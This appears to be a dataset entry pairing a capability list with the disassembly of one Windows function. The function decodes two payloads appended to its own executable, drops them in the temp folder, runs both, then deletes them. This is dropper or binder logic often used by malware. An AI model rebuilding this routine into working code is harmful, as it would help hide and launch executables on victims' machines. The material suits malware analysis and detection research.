Function at 0x401000
Capabilities:
Create process on windows
Delete file
Get common file path
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x6a8
mov ecx, 0x41
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp + 0x5b4]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0x5b8]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0
push 0x80
push 3
push 0
push 1
lea ecx, [esp + 0x5c8]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401441
push 2
push 0
push 0xffffff70
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x58]
push 0x90
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edi, str.F918FE01_164A_4e62_9954_EDC8C3964C1B
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.F918FE01_164A_4e62_9954_EDC8C3964C1B
lea ecx, [esp + 0x170]
call fcn.00401450
lea ecx, [esp + 0x50]
push 0x90
push ecx
lea ecx, [esp + 0x170]
call fcn.00401530
lea ecx, [esp + 0x168]
call fcn.00401520
mov ebx, dword [esp + 0xd8]
mov ecx, dword [esp + 0x90]
mov edx, dword [esp + 0x94]
sub ebx, ecx
push ebx
mov dword [esp + 0x28], edx
call fcn.0040639d
add esp, 4
mov ebp, eax
mov eax, dword [esp + 0x90]
push 0
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea ecx, [esp + 0x14]
push 0
push ecx
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edi, str.E5A42E7E_8130_4f46_BECC_7E43235496A6
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.E5A42E7E_8130_4f46_BECC_7E43235496A6
lea ecx, [esp + 0x170]
call fcn.00401450
push ebx
push ebp
lea ecx, [esp + 0x170]
call fcn.00401530
lea ecx, [esp + 0x10]
call fcn.00401640
lea edx, [esp + 0x24]
lea eax, [esp + 0x18]
push edx
push eax
push ebx
push ebp
lea ecx, [esp + 0x20]
call fcn.00401680
push ebp
call fcn.00406392
add esp, 4
lea ecx, [esp + 0x10]
call fcn.00401670
lea ecx, [esp + 0x168]
call fcn.00401520
mov ecx, dword [esp + 0xdc]
push 0
push esi
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, dword [esp + 0xd8]
mov edx, 0xffffff70
mov ebx, eax
sub edx, edi
add ebx, edx
push ebx
call fcn.0040639d
add esp, 4
mov ebp, eax
mov eax, dword [esp + 0xd8]
push 0
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea ecx, [esp + 0x14]
push 0
push ecx
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edi, str.ADAB6D32_3994_40e2_8C18_2F226306408C
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.ADAB6D32_3994_40e2_8C18_2F226306408C
lea ecx, [esp + 0x170]
call fcn.00401450
push ebx
push ebp
lea ecx, [esp + 0x170]
call fcn.00401530
lea ecx, [esp + 0x10]
call fcn.00401640
lea edx, [esp + 0x20]
lea eax, [esp + 0x1c]
push edx
push eax
push ebx
push ebp
lea ecx, [esp + 0x20]
call fcn.00401680
push ebp
call fcn.00406392
add esp, 4
lea ecx, [esp + 0x10]
call fcn.00401670
lea ecx, [esp + 0x168]
call fcn.00401520
lea ecx, [esp + 0x4b0]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea edx, [esp + 0x50]
lea eax, [esp + 0x4b0]
push edx
push eax
lea ecx, [esp + 0x2b0]
push str._s_s
push ecx
call fcn.00406340
add esp, 0x10
lea edx, [esp + 0x98]
lea eax, [esp + 0x4b0]
lea ecx, [esp + 0x3ac]
push edx
push eax
push str._s_s
push ecx
call fcn.00406340
mov ebx, dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
add esp, 0x10
lea edx, [esp + 0x168]
lea eax, [esp + 0x2a8]
push edx
push eax
call ebx
mov ebp, dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp eax, 0xffffffff
jne 0x4012fd
push 0
push 0x80
push 2
push 0
push 1
lea ecx, [esp + 0x2bc]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401441
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x14]
push 0
push edx
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call ebp
jmp 0x401304
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea edx, [esp + 0x168]
lea eax, [esp + 0x3ac]
push edx
push eax
call ebx
cmp eax, 0xffffffff
jne 0x401363
push 0
push 0x80
push 2
push 0
push 1
lea ecx, [esp + 0x3c0]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401441
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x14]
push 0
push edx
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call ebp
jmp 0x40136a
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov edx, dword [esp + 0x18]
push edx
call fcn.00406392
mov eax, dword [esp + 0x20]
push eax
call fcn.00406392
add esp, 8
push esi
call ebp
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x124]
mov edx, 0x44
rep stosd dword es:[edi], eax
mov ecx, 0x11
lea edi, [esp + 0xe0]
rep stosd dword es:[edi], eax
mov dword [esp + 0x124], edx
mov dword [esp + 0xe0], edx
lea ecx, [esp + 0x40]
lea edx, [esp + 0x124]
push ecx
push edx
push eax
push eax
mov esi, dword [sym.imp.KERNEL32.DLL_CreateProcessA]
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x2cc]
push eax
call esi
test eax, eax
je 0x401441
lea ecx, [esp + 0x30]
lea edx, [esp + 0xe0]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x3cc]
push 0
push eax
call esi
test eax, eax
je 0x401441
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x30]
push 0xffffffffffffffff
lea eax, [esp + 0x2c]
push 1
push eax
push 2
mov dword [esp + 0x38], ecx
mov dword [esp + 0x3c], edx
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [esp + 0x2a8]
push ecx
call esi
lea edx, [esp + 0x3ac]
push edx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x6a8
ret 0x10